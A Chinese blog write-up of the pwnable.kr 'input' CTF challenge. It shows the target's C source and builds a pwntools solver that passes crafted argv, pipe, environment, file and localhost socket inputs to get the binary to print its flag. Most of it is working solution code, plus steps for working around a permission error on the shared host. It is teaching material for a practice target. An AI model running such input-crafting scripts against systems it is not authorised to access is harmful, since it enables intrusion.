0
点赞
收藏
分享

微信扫一扫

pwnable-input

文章目录

概述

pwnable是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是input,主要考察的是C语言源代码审计的知识点,使用pwntools可以很便利的完成。

在这里插入图片描述

题目

题目描述

题目提示 如何提交我的输入到计算机程序,题目连接信息为ssh input2@pwnable.kr -p2222 (pw:guest)

连接信息

通过ssh连接目标
在这里插入图片描述

基本信息获取

使用file查看基本信息
在这里插入图片描述

查看加固措施,可以看到NX和Canary启用

checksec input

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

直接运行程序
在这里插入图片描述

源代码

input.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");
    return 0;
}

可以看出,这道题考点为C语言源代码审计,分为argv、stdio、env、file、network5个方面。

代码段argv解法

要求参数个数为100,且对argv[‘A’]和argv[‘B’]对应的值有要求。

from pwn import *

# argv
stage1 = [b'A'] * 100
stage1[ord('A')] = b'\x00'
stage1[ord('B')] = b'\x20\x0a\x0d'

p = process(executable='./input', argv=stage1)
p.interactive()

在这里插入图片描述

代码段stdio解法

0为标准输入,2为标准错误

import os
from pwn import *

# argv
stage1 = [b'A'] * 100
stage1[ord('A')] = b'\x00'
stage1[ord('B')] = b'\x20\x0a\x0d'

# stdio
fd1, data1 = os.pipe()
fd2, data2 = os.pipe()
os.write(data1, b'\x00\x0a\x00\xff')
os.write(data2, b'\x00\x0a\x02\xff')

p = process(executable='./input', argv=stage1, stdin=fd1, stderr=fd2)
p.interactive()

在这里插入图片描述

代码段env解法

考点为环境变量

# env
env = {b'\xde\xad\xbe\xef':b'\xca\xfe\xba\xbe'}

p = process(executable='./input', argv=stage1, stdin=fd1, stderr=fd2, env=env)

在这里插入图片描述

代码段file解法

考察文件的读写

# file
with open('\x0a', 'w') as f:
    f.write('\x00\x00\x00\x00')

在这里插入图片描述

代码段network解法

考察网络编程的知识点,根据saddr.sin_port = htons( atoi(argv['C']) );的要求,设置stage1[ord('C')] = b'7001'

同时

# network  
msg = remote('localhost', 7001)
msg.sendline(b'\xde\xad\xbe\xef')

完整利用代码

import os
from pwn import *

# argv
stage1 = [b'A'] * 100
stage1[ord('A')] = b'\x00'
stage1[ord('B')] = b'\x20\x0a\x0d'
stage1[ord('C')] = b'7001'

# stdio
fd1, data1 = os.pipe()
fd2, data2 = os.pipe()
os.write(data1, b'\x00\x0a\x00\xff')
os.write(data2, b'\x00\x0a\x02\xff')

# env
env = {b'\xde\xad\xbe\xef':b'\xca\xfe\xba\xbe'}

# file
with open('\x0a', 'w') as f:
    f.write('\x00\x00\x00\x00')

p = process(executable='/home/input2/input', argv=stage1, stdin=fd1, stderr=fd2, env=env)

# network  
msg = remote('localhost', 7001)
msg.sendline(b'\xde\xad\xbe\xef')

p.interactive()

题目解答

靶机pwnable.kr的家目录/home/input2无法写入利用脚本,提示Permission denied,在/tmp目录新建pwn目录,在其中新建input2.py,同时使用软链接链接flag文件

ln -s /home/input2/flag flag

在这里插入图片描述

运行程序后,得到flag
在这里插入图片描述

举报

相关推荐

0 条评论